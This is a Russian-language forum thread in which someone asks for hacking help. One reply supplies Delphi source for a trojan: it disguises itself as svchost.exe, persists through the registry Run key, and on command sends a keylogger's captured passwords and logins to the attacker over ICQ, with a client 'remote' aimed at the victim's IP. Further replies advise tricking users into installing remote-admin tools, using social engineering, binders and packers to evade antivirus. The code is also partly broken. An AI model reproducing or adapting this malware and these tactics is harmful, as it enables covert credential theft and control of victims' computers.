Нужна помощь хакера

напиши троянна дельфи, который будет отправлять тебе логи в аську:

вот исходник сервера (который будет на компе юзверя) :

положи на форму serversoсket с закладки интернет, и TICQClient(он лежит на delphiexpert.ru), и одно мемо:
в свойствах проэкта, закладке forms убери главную форму из auto-create forms, в available forms.
в свойствах serversocket'a поставь порт от 1024 до 65000 советую ставить нечто среднее между этими числами. если работать не будет, можеш поменять.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp,registry;

type
TForm1 = class(TForm)
ServerSocket1: TServerSocket;
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;
label a;
implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
var
RegIni:TRegIniFile; //прописываемся в автозапуск
begin
copyfile(pchar(application.exename),'c:\windows\svchost.exe',false);
Regini:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
Regini.OpenKey('Software', true);
Regini.OpenKey('Microsoft', true);
Regini.OpenKey('Windows', true);
Regini.OpenKey('CurrentVersion', true);
Regini.WriteString('Run','svchost.exe',
'c:\windows\svchost.exe');
Regini.Free;
ServerSocket1.Active:=true; //активируем соединение
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
ServerSocket1.Active:=false;
end;

procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
var

begin
s:=Socket.ReceiveText;
if s='s' then // если от клиента поступила команда 's', то.. .
memo1.lines.loadfromfile('c:\keylogger\log.txt');// место где лежит лог с нажатыми клавижами, паролями логинами и т. д.
icqclient1.uin:=123456789;// номер аськи, с которого будет отправлятся отчет. заранее зарегистрируй его.
Icqclient1.password:='password';// пароль от этой аськи;
icqclient1.login;//логинимся
sleep(20000);ждем 20 секунд пока залогиниться (можеш вместо этого создать обработчик onlogin).
a:
if icqclient1.logged=true then icqclient1.sendmessage(987654321{твой номер аськи},memo1.text);// отправляем
//отчет
else goto a;//если не залогинились ждем еще;
sleep(10000); ждем 10 секунд када отправиться
icqclient1.logoff;//выходим из аськи:

end;

end;

end.

в проэкте пропиши

program Project1;

uses
Forms,
Unit1 in 'Unit1.pas' {Form1};

{$R *.res}

begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);//создаем нашу форму
Application.Run;
end.

а это клиент, т. е. твой пульт управления:
нужен клиентсокет, эдит и кнопка.
у клиентсокета поставь тот же порт что и у серверсокета.

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ScktComp;

type
TForm1 = class(TForm)
ClientSocket1: TClientSocket;
Edit1: TEdit;
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
ClientSocket1.Host:=Edit1.Text; // айпишник жертвы
ClientSocket1.Active:=true; // конектимся
ClientSocket1.Socket.SendText('s'); // отправляем команду
ClientSocket1.Active:=false; //отключаемся
end;

end.

А потом понадобится Вам помощь адвоката...

Скачать нельзя. Есть специальные дорогостоящие вирусы "трояны" которые можно "впарить человеку" , обязательно нужно чтобы этот челоек открыл или установил этот файл. Трояны которые обходят все существующие антивирусы стоят дороже чем простенькие. Но можно и без денег, скачать программу р-админ и если пользователь неразбирается в компьютерах, и установит эту программу, то вы завлодеете его компютером...

Прошло уже время хакеров. Остынь.

Еше не прошло время хакеров!! ! мы рулим! ! кароче постарайся узнать его мыльник потом через мыльник постарайся отправить используй СИ! соедини его с каким нибудь джоинером. и запакуй чтобы антивири не видели. на инете много бесплатных пакеров